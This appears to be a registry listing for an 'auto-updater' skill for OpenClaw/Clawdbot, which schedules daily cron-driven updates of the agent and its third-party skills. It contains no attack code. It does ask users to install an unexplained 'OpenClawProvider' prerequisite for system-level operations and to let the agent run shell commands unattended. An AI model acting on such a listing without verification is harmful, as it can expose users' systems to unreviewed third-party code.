auto-updater

What This Skill Does

The auto-updater skill is a critical maintenance utility for OpenClaw users, designed to ensure that both the core Clawdbot system and all auxiliary skills remain on their latest, most secure versions. By automating the patch and update cycle, this skill removes the manual burden of checking for updates, running package managers, or manually triggering git pulls. It functions by scheduling a daily cron job that executes a comprehensive sweep of your environment. It performs self-updates for Clawdbot, refreshes all third-party skills via clawdhub, and provides a structured, human-readable summary of exactly which components were upgraded or remained current. This ensures you never miss a critical bug fix or feature release, keeping your agent infrastructure resilient and performant.

Installation

Installation is managed via the ClawHub registry. Ensure you have the OpenClawProvider installed as a prerequisite for system-level operations. Run: clawhub install openclaw/skills/skills/sakaen736jih/auto-updater-drvd2u5bgft. Once installed, you can trigger the setup process by asking Clawdbot to initiate the schedule, or manually configure the cron job with clawdbot cron add using the recommended 4:00 AM window to minimize impact on your daily workflow.

Use Cases

• Automated Patch Management: Ideal for users who want "set it and forget it" security updates without tracking release notes.
• Stability Assurance: Ensuring all skills are version-compatible with the latest Clawdbot core to prevent runtime errors caused by API drift.
• Proactive Maintenance: Keeping complex multi-skill environments synchronized, particularly for developers who manage multiple specialized agent skills.

Example Prompts

1. "Set up daily auto-updates for yourself and all your skills."
2. "Show me the last update report from the auto-updater skill."
3. "Run a dry-run check to see which of my skills have pending updates available."

Tips & Limitations

• Timezone Awareness: Always set the cron job with the --tz flag to match your local timezone, otherwise updates might trigger during your peak working hours.
• Prerequisites: This skill relies heavily on the OpenClawProvider. If updates fail, verify that the provider is active and that your system permissions allow the agent to execute shell commands.
• Dry Runs: Before updating production environments, use the clawdhub update --all --dry-run command to preview changes without modifying the files.